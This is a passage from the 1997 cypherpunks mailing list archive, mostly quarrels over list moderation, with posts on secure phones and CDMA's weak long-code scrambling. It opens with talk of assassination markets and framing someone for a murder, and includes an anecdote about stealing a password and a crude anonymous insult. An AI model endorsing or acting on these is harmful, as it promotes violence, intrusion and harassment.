bad-mouthing you unnecessarily? > > people who have such money are not going to bump off very many more > > people than they already do, because: > > 1. They need the people to make money off of (Mafia rule #4, never > > kill someone who owes you money [or is a money source]). > This is a wrong Mafia rule, they do kill debtors who are in default. Really? Then how do they collect their money? BTW, I heard the rule from the mouth of a real mob hitman. > > 2. Rich people have a lot of eyes on them, and it would be easy to > > triangulate a series of murders to them, even without hard evidence. > > In an AP world, this triangulation/correlation would be enough to > > convince people to either shun this killer, or kill him outright. > When ten people make deals with each other, it becomes hard to > triangulate. And it is easy, if you know what deals are done, to change > the result of triangulation: suppose that I know that you borrowed 1 > million from Toto, that my _and_ yours business partner had been > murdered (by me, but no one knows), and I am afraid that someone will > triangulate me and implicate me in that murder. I secretly order > the AP bot to kill Toto, and you get implicated. Not good. We all know how people are framed, and we've seen the Hitchcockian murder scenarios on TV, in movies, etc. Certainly the CIA et al can create these scenarios, but what does that have to do with AP as used by ordinary persons? From gbroiles at netbox.com Tue Feb 4 06:41:07 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 4 Feb 1997 06:41:07 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702041441.GAA28354@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:58 PM 2/3/97 -0800, Bill Stewart wrote: >An advantage of Usenet is the ability to deploy whatever NoCeM is >called these days as a way to let people avoid spammers. My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother with the list if it were moved to (or gated with) Usenet, as Usenet has become for the most part 100+ Mb/day of uselessness. But my impression is that many moderation opponents would also be opponents of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many people claim we must have for the list to be viable, e.g., uncontrolled/uncontrollable distribution and messaging. So I'm curious about whether or not the proponents of an open, uncontrolled list really want it to be *that* open and uncontrolled. In the past, there's been strong opposition to that. But it's possible that most of the people who had strong feelings about not wanting to be subjected to the downside of Usenet have already left the list. (And if the current opponents of moderation don't want to see the list be quite that open, I think what we're arguing about here is not "censorship v. no censorship" but "what degree of censorship do we want? one lump, or two?", which pretty much eliminates anyone's claim to have a moral high ground from which to argue.) There's really nothing stopping anyone from just setting up a gateway. The list is already gated one-way to Usenet; it shows up many places as mail.cypherpunks. What's missing is a gateway running the other direction; from looking at the headers as messages are received at my ISP (io.com), toad.com is already in the Path: line, so preventing backfeeding shouldn't be a problem. (Doh, it's been a few years since I fussed with mail-to-news and back again, but this isn't rocket science.) The good side I see to a move to Usenet is that it lets people use the comparatively better tools for managing messages - e.g., NoCeM, threading, nn (whose killfiles will kill by thread, author, regexp, and can be time limited so you can easily give annoying people a 30-day 'timeout' and see if they're still a kook later on), AltaVista and DejaNews archiving/searching, and server architecture that's designed to cope with storing/indexing many messages. The down side is that Usenet is more or less a sewer these days, and some of it's bound to spill over. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvcLpv37pMWUJFlhAQFTJgf/UAFESNbjEK2NRabq56We3PkF+sM7pwHU b7Gy/h6a+KusZECe3epIm9/ubvGiZJtVpkp1zTG/AqBJVkdRb9xyIwWpOXU9HUz+ gjzASY/x0Zwsy9AlCgAk0HSEL1bggFTgAjDPB8SSOaYuxP1czpmAAVHTZiNXioV5 AAsnCXLc0qLgXYZ6/3dQhtIznH41ciNhVgI4RhV9lfheCpIhxJJC0zlh7wX2QzMv VhPidpcCmKiCriULwvOJuIkt0SFLvIjxm18zBh6UIe/APgL6TDsr022DTB+S6G/b qgH1aO9xhZtu84I/+V/pOCyKGk+9qij94CwNumN+Hs/cZMybiaO4bQ== =YwhW -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From gbroiles at netbox.com Tue Feb 4 06:41:32 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 4 Feb 1997 06:41:32 -0800 (PST) Subject: what's in a name? Message-ID: <199702041441.GAA28375@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 04:58 PM 2/3/97 -0800, Wei Dai wrote: >An interesting way to look at what happened is that John >Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise >that ownership. [...] >I suspect that the hierarchical nature of name ownership on the Internet >today will be an important technological barrier for the establishment of >truly anarchic virtual communities. Unless this problem is solved, the >closest we'll come is pseudo-anarchies that exist with the tolerance of >beneficent dictators. Wei Dai's message raises an important question: what is the relationship between ownership and list content or quality? Much of the pathology of the list in the past few months can be characterized as a "tragedy of the commons" problem, where several private actors are seeking to maximize the gain they can extract from a finite and commonly owned (or unownable) resource. The resource in this case is the "reputation capital" which has built up in the terms "cypherpunks" and "cypherpunks at toad.com". Dmitri Vulis' behavior, where he seeks to punish the list for failing to punish or ostracize Tim May after Tim was disrespectful to Vulis, is an attempt to achieve private gain (public retribution) at the expense of public goods (the continuing quality and good name of the list). Several authors have characterized John Gilmore and Sandy Sandfort's actions with respect to moderation and the list as an attempt to monopolize or appropriate the good name of the list for their own private purposes. (I do not think that the latter characterization is accurate, but it is at least popular.) I suspect that many people will see at least one "tragedy of the commons" problem related to the list. Some free-market economists have suggested that the solution to "tragedy of the commons" problems is private ownership - that where economic actors are given ownership over what might have been owned in common, that they will seek to maximize their long-term gain through careful management and will not adopt wasteful or harmful short-term strategies which would have otherwise seemed attractive. That view (that private ownership is likely to eliminate or at least minimize wasteful or nonoptimal use of resources) has historically been a popular one on the list. Yet private ownership of the list (or of the list's most concrete identity, the label "cypherpunks") seems wrong to many people. Are mailing lists an example of a situation where "the tragedy of the commons" is not a useful metaphor? Are mailing lists an example of "public goods" where private ownership is impossible, or should be avoided? If not, shouldn't we work towards more private ownership, not less? Is the desire for an anarchic community at odds with a desire for good use of resources? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvcZgv37pMWUJFlhAQEf6gf9FAPo+nF/h3ZAZTTzmZZLpj57xDvpcgKW oXCvalcY20s+ah26SFP5cInGSxgOy+UC5zxAeEz/Oo/M/5n1LVZTFVg7f3PORgJW VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew== =QFGr -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From paul at fatmans.demon.co.uk Tue Feb 4 06:41:33 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 4 Feb 1997 06:41:33 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041441.GAA28376@toad.com> > This is Tim's first error of fact. I point it out not to insult > him, but because it seriously affects much of the rest of his > analysis. We are conducting an experiment. It will last one > month. After that, it's over if list members want it to be over. > If, on the other hand, moderation is seen by the list members as > beneficial to their use and enjoyment of the list, the current > form of moderation--or some variation will continue. How will you allow list members to decide? - Here presumably we have a self proclaimed anarchist in favour of direct democracy. And if the subscribers can call off this "experiment" it seems rather out of place that they did not institute it in the first place. > > With no false modesty I tried awfully hard to compose substantive > > essays on crypto-political topics, often more than one per day. > > I would hope that Tim will return to this practice irrespective > of whether the list remains moderated or returns to its previous > policies. More on this, below. You genuinely expect a thoughtful writer and intelligent author of posts to allow you to approve them or otherwise for general release? > > (Others did too, but they seem to be tapering off as well, leaving the list > > to be dominated by something called a "Toto," the "O.J. was framed!" > > ravings of Dale Thorn, the love letters between Vulis and someone name > > Nurdane Oksas,... > > Two points: Since Tim largely agrees with those in opposition to > moderation, and because of the extraordinary nature of Tim's post, > I did not send it to the "flames" list. It was a judgment call. Why? - I saw nothing whatsoever in Tim`s post that would make it a "judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor. The real reason it was a judegement call was because it was critical of Gilmore and yourself, in addition Tim`s points where too subtle and deep for you to respond to without resorting to sophistry. The reason on the other hand you did choose to post it to the censored list was because you realised this and could not get away with junking it to the flames list without incurring criticism. > The problems Tim describes, did not arise with moderation. > Indeed, they were the imputus for the moderation. Sophistry once again. I shall not even bother to explore in more detail this issue as any intelligent reader can, even at face value, see this to be a falacious argument. > > Second, the list was consumed with > > flames about this, many from Vulis, and many from others. > > It was consumed with flames before. Now, at least, the vast > majority of folks on the list don't have to read them, nor jump > through any hoops to implement some sort of dynamic filtering > half-measure. Three questions: 1. How do you see filtering to be a "half measure" 2. What hoops? - if you count implementing a simple filtering measure to be "jumping through hoops" how do you consider that readers of the list do not have to "jump through hoops" to subscribe to the uncensored list. 3. What makes you think that your subjective and evidently self serving method of moderation is any better than keyword filtering. > What didn't work was "local filtering" which has no feed-back > loop to engender comity. This might not work either, but I see > no evidence that it has made things worse. Remember, there are a > hand-full of subscribers to the Flames list, 20-30 on the > Unedited list and *2000* or so on the Moderated list. Sure some > of that may be due to laziness, but it would be cavalier in the > extreme to claim that such an overwhelming acceptance of > moderation is merely an artifact of inertia. Cavalier? - I`ll bet you anything you like if you had set up a new list for the censored articles and left cypherpunks at toad.com as an uncensored list you would have seen the same results, that 2000 or so would have remained where they were instead of trying to "unimbibe", and a hardcore of 20 to 30 subscribers would have consciously taken the decision to move to the censored list. As we seem to be in "experiment" mood on the cypherpunks list at the moment I challenge you now to re-configure the list as stated above. The we shall see whose viewpoint is "cavalier" > But to make things perfectly clear one more time, ANYONE WHO > WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO > "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES." See above argument, the flock stay together. In addition other list members are lazy, stupid, ignorant etc. And cannot/will not subscribe to the uncensored list. > But let's apply Tim's above definition for the sake of argument. > Am I, thereby, a censor? Well I am examining "other material" > and I am making judgments with regard to whether or not it is > "objectionable," unfortunately for Tim's argument, I am neither > "removing" nor "supressing" anything. Anybody can read anything > that gets posted to Cypherpunks--in two places. I am sorting, > but even my sorting can be completely avoided. Waffle. There is a suprising profundity of waffle in this post considering it is supposed to be refuting some very subtle and eloquently stated arguments by Tim. The fact is you are a censor, you are deciding what is seen on the "main" cypherpunks list, you send any comments on your form of censorship, apart from compliments, to the "flames" list in order to protect yourself and John Gilmore. > Very possibly true. Moderation is like crypto, perfection isn't > and option. However, a 90% solution is a heck of a lot better > than no solution at all. Yes, I've made what I consider to be > errors, but I think on some, I've done a very good job overall. > > > * (Frankly, one of my considerations in leaving was the feeling that I > > would never know if an essay I'd spent hours composing would be rejected by > > Sandy for whatever reasons.... > > Tim, I think this is disingenuous. I have been quite clear on > my moderation criteria. You are too intelligent to feign such > a lack of understanding. Not at all, Even if you had been clear (and let me make it clear that I do not believe you have been) you still would not objectively follow those guidelines you had set for yourself. Your censorship is subjective and unethical. However, I am deviating from the point as I happen to be arguing from an anti-censorship point of view whoever were carrying out said censorship. > > * The decision to "moderate" (censor) the Cypherpunks list is powerful > > ammunition to give to our opponents, > > Piffle. Letting spoiled children destroy the list puts a far > more powerful weapon in the hands of our enemies. Piffle, showing that even an anarchic list "requires" censorship is the best ammunition we could have given them. We are better off without a cypherpunks list at all than we are playing into the hands of those who oppose us. > > and Vulis is certainly gleeful that > > his fondest wishes have been realized. > > I do not have a crystal ball. My Vulcan mind meld is in the > shop. No one--neither Tim, nor I, nor probably even Vulis--knows > whether he is gleeful about all this or not. And frankly, who cares? > The question is, are list members happy or not with moderation. > Tim was not. I am. By the end of the experiment, I dare say we > will have a good idea what most list members think. We already have a good idea what they think if we care to look at the flames list where all their relevant comments are junked to. Besides which you are not answering the question here, just picking a random point to put forward an argument you wanted to. > as far as moderating political rants go, I'm agnostic. You mis-spelled self-serving. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dthorn at gte.net Tue Feb 4 06:42:33 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:42:33 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702041421.GAA27742@toad.com> Message-ID: <32F74A94.5F8B@gte.net> John Gilmore wrote: > I'm glad we're talking about some of the real issues here. > I'm definitely bugged by the community's attitude toward my "censorship". I'll bet you are. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. He'd really like to, but... > You-all remind me of a passage from Booker T. > Washington's book _Up From Slavery_, describing what happened on the > night that news of the Emancipation Proclamation reached the South: What we most remind him of are slaves. > Most of the people on the list haven't bothered to face that freedom. Which freedom is that? > If you want to help organize what I'll call the `progressive crypto > community', for lack of a better term, then please do. Otherwise, in > the immortal words of Lazarus Long, "PIPE DOWN!". i.e., stop saying what I don't want to hear and start saying what I do want to hear, after all, it's *my* list. From paul at fatmans.demon.co.uk Tue Feb 4 06:42:40 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 4 Feb 1997 06:42:40 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List Message-ID: <199702041442.GAA28392@toad.com> > For what it's worth, I think that this Tim May, not being a > user of the list, has no place to talk. His type, to me, > characterate those who quit something and complain later, > knowing that some people will listen to them. Tim May has been one of the most intelligent, eloquent and on-topic posters to this list in it`s entire history... Who the hell are you? I would respond to your post with reasoned and logical argument but I cannot find one substantive point in it that is worthy of comment. I will muddle through as best I can anyway: One easy jibe here is you don`t know how to spell characterise, maybe you would be better off unimbibing? > So what, if he decided to leave? It was his own choice > and he can't just come back and say everyone who stayed is > now impelled to listen to him, just because he used to > do a bunch of posts. I don't think that hardly any of > you would listened to me later if I left the list. No-one knows who you are nor do we care, you have not accumulated any reputation capital nor are you likely to with posts like this. Tim tried to cover in as much depth as possible without resorting to verbosity the points he felt were important and worthy of discussion regarding the censorship of the list and other associated issues. You were not impelled to read his post nor to reply to it with a content-free rant as you did. If you felt "impelled" to read a post simply because it was on a screen in front of you you clearly do not understand even the rudiments of anarchism. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From nobody at zifi.genetics.utah.edu Tue Feb 4 06:55:43 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 06:55:43 -0800 (PST) Subject: [ANNOUNCEMENT] Elliptic curves Message-ID: <199702041455.GAA28677@toad.com> Tim May's wee-wee is so tiny that only his mommy is allowed to touch it. /\ /..\ Tim May /_\/_\ From sherod at medeserv.com.au Tue Feb 4 06:55:52 1997 From: sherod at medeserv.com.au (Steven Herod) Date: Tue, 4 Feb 1997 06:55:52 -0800 (PST) Subject: Full strength Email Clients. Message-ID: <199702041455.GAA28699@toad.com> Hello, I'm in search of an *EASY TO USE* Internet Email client software that uses full strength (outside US export restriction) RSA encryption. It would be used for end to end encryption of Patient Pathology results, hence the need for "full strength". Any pointers to sites of interest? Best Regards Steven Herod Computer Systems Officer Med-E-Serv Connect, a division of CITEC From shamrock at netcom.com Tue Feb 4 06:56:02 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 4 Feb 1997 06:56:02 -0800 (PST) Subject: FCPUNX:ecure Phones Message-ID: <199702041456.GAA28732@toad.com> At 09:41 PM 2/3/97 -0700, C. Kuethe wrote: >As we were both saying (meaning to say) there's a lot of holes in there... and >you're rich if you'd trust $1e4 to this box.... I'd put maybe $100 on it. Not >that I have a problem with wealth. My point there is that I don't think this >device is secure enough to be placing a lot of trust in... For 1E3, you can get the CS8191 from Communication Security Corporation. http://www.comsec.com/ It uses 3DES. No silly "voice inversion". Sigh. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From tmcghan at mail.bcpl.lib.md.us Tue Feb 4 06:56:05 1997 From: tmcghan at mail.bcpl.lib.md.us (tmcghan at mail.bcpl.lib.md.us) Date: Tue, 4 Feb 1997 06:56:05 -0800 (PST) Subject: Embarrass a Marylander, Go to Jail Message-ID: <199702041456.GAA28733@toad.com> in a message allegedly from: Robert Hettinga this appeared... > A Maryland bill that would make it illegal to send "annoying" or > "embarrassing" e-mail was introduced this week by Democratic General > Assembly member Samuel Rosenberg. {snip} > "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle As a marylander, in particular, a baltimoron, I am both embarrassed and annoyed that these legislative bozos have the unmitigated gall to expend time and energy on pursuits such as these. Perhaps they feel that our state attorney general needs to earn his excessive salary by attempting to defend this constitutionally indefensible mental excrement. Did the defeat of CDA not resonate? From jya at pipeline.com Tue Feb 4 06:56:06 1997 From: jya at pipeline.com (John Young) Date: Tue, 4 Feb 1997 06:56:06 -0800 (PST) Subject: More Hacking of the Mykotronx Site! Message-ID: <199702041456.GAA28734@toad.com> While this report may be true, I wonder if it's not a spoof or even official disinformation to mislead about the details of Aaron's mission as well as what Rainbow and others are really peddling to rabble-fearing paranoids. This last sentence seems a bit too melodramatic even for a suck-up crippled-chip manufacturer: >The MYK-82, developed by Mykotronx and fabricated by VLSI Technology, >Inc., is the first of a series of security products to be developed as >part of an alliance with the NSA, targeting both Government and >commercial citizen monitoring markets. Granted that defense to LEA-market conversionists like to pornograph the godawful carnage their technology can wreak on disobedient civilians to arouse ex-military-to-LEA converted glands -- do they actually write SOF drool like this? From owner-cypherpunks Tue Feb 4 06:56:07 1997 From: owner-cypherpunks (owner-cypherpunks) Date: Tue, 4 Feb 1997 06:56:07 -0800 (PST) Subject: No Subject Message-ID: <199702041456.GAA28735@toad.com> From pgut001 at cs.auckland.ac.nz Tue Feb 4 06:56:36 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Tue, 4 Feb 1997 06:56:36 -0800 (PST) Subject: Secure Phones Message-ID: <199702041456.GAA28776@toad.com> >My guess on the CESCOMM device is that they (would like us to belive that >they) use pure RSA with optional hybrid links... this seems a bit obvious >because of: > >"Guessing the unique Keys is out of the question. Acquiring the keys through >wiretapping is impossible, since they are never transmitted." <--RSA? This thing is snake oil. What it does is move the data through an FIR filter with the taps being controlled by a secret key. The data itself isn't encrypted, but is spread out over a wide spectrum in a (they hope) difficult-to-analyse manner. However with only 1K possible taps and (presumably) something as high-security as an LFSR driving it, I think the strength of the system has been overestimated somewhat. It wasn't designed for security at all, it was designed by an ex-Canterbury uni engineer to provide add-on noise-immunity to fax machines, and they only decided to market it as an encryption device later on - the designer apparently knows very little about encryption. I've got a photo of it, it's in a box the size of a small modem and consists of a circuit board with an ASIC on it and a bit of interface circuitry. The company has a patent on it, but a search for the patent has so far been unsuccessful (mind you I didn't search very hard). If anyone wants to check it themselves, the patent will probably be assigned to Ken Stokes of Cardinal Encryption Services - they claim to have worldwide coverage. >I emailed the German team about the LC-1... don't know if I'll hear back from >them, but if I do, I'll pass on everything I get. This is rather cool, it was designed by a couple of students at the University of Saarbruecken. It uses the Lintel RSA chips which are fast enough to do real-time RSA voice encryption, either singly for 512 bits or chained for 1033 bits. I've got a brochure somewhere which shows one of the inventors using it, it's a small motherboard containing the RSA chip, some other unidentifiable circuitry (presumably a modem chipset), an EPROM, etc etc. It was done as a research project by students who are unlikely to have put backdoors in it. The BSI (German NSA) were not at all happy about it. It's a pretty neat product, but unfortunately due to its origins it's having difficulty getting any market penetration. In addition the Lintel chips are f-ing expensive and there are many other components that go in on top of that, I doubt the whole thing sells for less than DM 1000-1500. Peter. From karn at qualcomm.com Tue Feb 4 06:56:38 1997 From: karn at qualcomm.com (Phil Karn) Date: Tue, 4 Feb 1997 06:56:38 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702041456.GAA28777@toad.com> >Phil Karn is, of course, the expert on this -- I hope he'll chime in soon >-- Phil, you out there?? Yup, I'm out here. Just buried under a pile of email. >Working from my not-so-great memory, CDMA uses a fixed spreading code that >is determined by a pretty simple "cipher-like" process. I believe the >details are covered by an NDA, sorry. At any rate, it isn't "encryption" >by any means -- and tapping it requires little more than building a new >base station (again, given $ and the fact that you're going to have to >follow the bloody thing around as it moves). No, it's not covered by NDA. It is, however, all heavily covered by Qualcomm patents. It's all specified in complete detail in TIA IS-95A. The actual spec is copyrighted TIA (even though we did almost all the work) but you can find an early version, plus a much more readable overview paper, through my web page. The air interface is essentially the same as you'll find on the air. There is essentially no "encryption" in the usual sense of the word in CDMA. It is true that the complexity (and until recently, the obscurity) of the modulation method provides some modest protection against casual eavesdropping (e.g., someone with a Radio Shack scanner). But phones containing the necessary ASICs are now being shipped by the hundreds of thousands per month, and as I said earlier the complete air interface spec has been public for some time. I do note that the forward (base to mobile) and reverse (mobile to base) modulation methods are totally different, because the jobs they have to do are different. Only the reverse link is truly CDMA, as there you have many transmitters sending to a single receiver. Both links are spread to 1.25 MHz bandwidths, but that's about where the similarities end. The phone ASIC contains only a forward link demodulator function and a reverse link modulator function. The base station ASICs are not yet generally available. Also, an echo canceller in the base station effectively blocks any reverse link audio from coming back out on the forward link. Consider also the very low and tightly controlled transmitter powers typically used on the reverse link. One can now make certain conclusions about the relative ease of intercepting the forward link as compared to the reverse link. The closest thing to "encryption" in CDMA is the "private long key" mechanism. The private long key is the starting state of a 42-stage linear feedback shift register (LFSR) that is used to spread (reverse link) or scramble (forward link) the vocoder data. (The IS-95 signal path is too complex to describe fully here -- see the documents on my web page for the details, including the difference between scrambling and spreading). As anyone with even a rudimentary knowledge of cryptanalysis knows, LFSRs are not at all cryptographically secure. The Massey-Berlekamp algorithm can easily determine the state of the long code shift register with a short (42-chip) sample of its output. Furthermore, the long key sequence has other specified uses on the reverse link; in particular it is used as a pseudorandom sequence generator to control the puncturing (on-off transmitter gating pattern) when the phone is transmitting at a low data rate between talk spurts. This obviously suggests other ways to determine the LFSR state without demodulating individual CDMA chips. Nevertheless, NSA has repeatedly objected to the export of the "private long code" feature, and I'm not even sure it's implemented on the domestic models currently being deployed. Phil From lwjohnson at grill.sk.ca Tue Feb 4 06:56:39 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 06:56:39 -0800 (PST) Subject: Trigger-Words...Trigger-Fingers Message-ID: <199702041456.GAA28778@toad.com> Dale Thorn wrote: > > Larry Johnson wrote: > > Cynthia H. Brown wrote: > [snippo] > > Theres not many girls on this list, is there? > [mo' snippo] > > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls > > on my list and they think its real cool and they all want to marry > > technicians so that they can make them work on the computers for them, > > kind of like making them do the computer dishes, you know. > [yet mo' snippo] > > I want to get married. Lots of times. Are the girls cute? > I don't do hardware, tho, I'm a software guy. Yeah their real cute, most of them anyway. Their all nice though. Some of them would like you cause they dont like regular guys, cause their troublemakers too. I know your a troublemaker (I think thats a good thing) because Ive read your stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he keeps the troublemakers but its not an insult because he likes what Kevin (hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole." He taght me how to read by using the Froggie manual since I could boot it myself when he was out of the rooom when I was two year old. Now he teachs me how to read with the cypherpunk messages and stuff from his govbernment friends. (Their good government guys though, they like you guys. Their really secret guys not lamer regualar secret guys. They laugh at those regular secret guys who screw with you guys cause they leave their pecker tracks all over the place.) Some people thik Im a lamer cause Im not good with grammer (not on the kids lists thogh) bu tmy uncle says Ill learn how to do that but Im better to learn how tho think first. Ive got dsylexia too so I use a spell checkerif I want to look smart but emailers dont have it. You guyhs should keep being troublemakers. Really. My uncle says that if you guys get too polite then you better watcvh your backs when you curtsy, cause you never know whos sneaking up behind you. He told me that if I watch you rmodernation that I wont have to have sex educaton laterer cause I'll already know how to get f*)&%ed. (Hes funny. His governmnt friends call him the fool becaise hes dumb like a fox.) Excuse my spelling but I spell things good once I see them in a dir cause myu uncle make s me look stuff up before I put it in a dir or he erases myu dir to make me learn. I think the girls would like you cause yuou are a computer guy. Ill show them your letter. Theeir smart, too. They dont like lamer guys. When their school computer guy messes up ecveyones stuff then they fix it but they dont tell him cause it makes him mad. Im not real good at 4reading code and stuff but the secret computer guys let me drink Scotch with them evcen in the bar at the Holiday In in Santafe cause Im smarter than them abou t som e stuff even if they are really good. (I go tm y uncles password on his secret machine by putting my video camera on the frige with a dead battery and pluging it into his power supply) (Now when he boots up he will getr Duke Nukem3D and when he leacves it he will get a message telling him hes a _lamer_.) He had to go to Lost Alamo again because of you guys and hell gibve me sh*&)( when he gets back but not too much cause he said I could do anything I want on his secret machine if I got on it. Im getting to play with Unix cause he has a Spark Card on it that has Unix on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper for kids) Some lamer said on cypherpunks today that it takes him an hour to get the pecker messages off his computer. My uncle has me to do it for him sometimes and it only take me like maybve two minutes. If the guy is such a lmaer that it take s hinm an hour then maybe he should just read only the pecker messages cause they have pictures and then when he mobes his lips to read then he coul d put them on the peckers. (Thats a joke) I like that Tim May is bacvk, if only even for a little while. When you guys fight at least you say stuff that isnt kissing ass for other guys money. Im going to make a message to cypherpunsk that says if anyone wants me to be their moderator then they should not write any messages to the cypherpunks. Then the 2000 people who dont post will be voting for me to be their moderator and I will be their boss. If Im the moderator then I will givbe everyone free pizz a and lots and lots of Scotch. (<--Dewars) I hope you guys stay together. My uncle says sometimes you learn by looking and sometimes you leran by seeing whos looking back. But he tells the secret gobvernmetn guys not to look back cause their might be a cypherpunk gaining on them. (Thats a joke) Ive got to go to bed so I can pretned to get up again. Im sick so I can do what I want bu t Im not supposed to stya up all night either. I wont let the door hit me in the ass on my wayout. Bye, Human Gus-Peter p.s. - dont write me after Thursday cause my dad will be back and Ill get in trouble. My uncle will help me clean u p my mess cause hes not a squealer. From gnu at toad.com Tue Feb 4 06:56:40 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 4 Feb 1997 06:56:40 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702041456.GAA28779@toad.com> I'm glad we're talking about some of the real issues here. Tim May said: > I don't want Sandy Sandfort sitting in judgment on my > posts, deciding what the Cypherpunks--a group I co-founded for God's > sake!!!!--are to be allowed to read and what they may not. Tim, the Cypherpunks have chosen to follow Sandy's lead for this month. I'll admit I made it easy for them, but the results are conclusive. There are 1311 addresses in the cypherpunks list today; 42 in the unedited list; and 19 in the flames list. Forty people cared enough to read every posting; the other thousand either wanted to try the experiment -- or didn't care enough to send an email message. Which, as we all know, is a very low threshold. If I was a social scientist I might want to run the experiment both ways, or six different ways. Name it this, or name it that. I'm not; all I want is something that works. The cypherpunks list was unusable for this kind of discussion, only a month ago. It's usable now. I'm definitely bugged by the community's attitude toward my "censorship". Rather than being glad that someone, anyone, was doing something about the major problem on the list, 99% of the reaction was to create even more ill-considered, emotional flamage. *I* didn't make the signal/noise get worse at that point -- *you-all* did. Perhaps at that point I should have shut down the list, as Lucky is now suggesting. "Asking the list what to do" was clearly not a useful option. Sandy cared enough about the community to make some concrete suggestions to me about how to get the list back on track. They involved a lot more work than the previous setup. I told him if he was willing to do the work, we could try it. As Dale suggests, I wasn't about to waste my time reading the whole list in real time and passing judgement on the postings. Sandy was, for a month. The element I find most lacking from the whole discussion, until recently, has been responsibility. In an anarchy, *everyone* is responsible; nothing is "somebody else's job". Sandy felt responsible, so he proposed something. I felt responsible, so I helped. But a large part of the community sat on the sidelines and criticized, without making attempts to make things better; indeed the volume and tone of the criticisms themselves made things worse. Unpaid labor for a peanut gallery of spoiled children isn't very gratifying. You-all remind me of a passage from Booker T. Washington's book _Up From Slavery_, describing what happened on the night that news of the Emancipation Proclamation reached the South: The wild rejoicing on the part of the emancipated coloured people lasted but for a brief period, for I noticed that by the time they returned to their cabins there was a change in their feelings. The great responsibility of being free, of having charge of themselves, of having to think and plan for themselves and their children, seemed to take possesion of them. It was very much like suddenly turning a youth of ten or twelve years out into the world to provide for himself. In a few hours the great questions with which the Anglo-Saxon race had been grappling for centuries had been thrown upon these people to be solved. These were the questions of a home, a living, the rearing of children, education, citizenship, and the establishment and support of churches. Was it any wonder that within a few hours the wild rejoicing ceased and a feeling of deep gloom seemed to pervade the slave quarters? To some it seemed that, now that they were in actual possession of it, freedom was a more serious thing than they had expected to find it. Most of the people on the list haven't bothered to face that freedom. Your de-facto "leaders" have faced it for you. It is a more serious thing than than you expect. All it takes it hard work and judgement. Be responsible for setting your society's privacy policy -- without knowing whether you are right. Face the uncertainty and build anyway. Shall I post you an Emancipation Proclamation -- as if you needed one? Start a mailing list on another site! Move this list to somewhere! Create and nurture an alt group! Make an independent moderated list drawn from the unedited list! Hold meetings! Establish for it a home, a funding, the rearing of newbies, education, citizenship, and the establishment and support of philosophies. Dead simple for people as capable as us. Just takes work. Who's volunteering? Just do it! The experiment will be over in a few weeks. Who's going to take over deciding how to run the list, and running it? If you want to help organize what I'll call the `progressive crypto community', for lack of a better term, then please do. Otherwise, in the immortal words of Lazarus Long, "PIPE DOWN!". John PS: Can we talk about crypto too? It's clear from the last few days of press releases that the pro-GAK forces are again working to confuse novices into thinking that two very different things are the same thing. Last time it was "public key infrastructure" and "key recovery". This time it's "strong crypto" and "56-bit DES". What should we do about this? Educate the public? From karn at qualcomm.com Tue Feb 4 06:57:34 1997 From: karn at qualcomm.com (Phil Karn) Date: Tue, 4 Feb 1997 06:57:34 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702041457.GAA28791@toad.com> >While awaiting Phil's response, there's an informative description of >Qualcomm's CONDOR 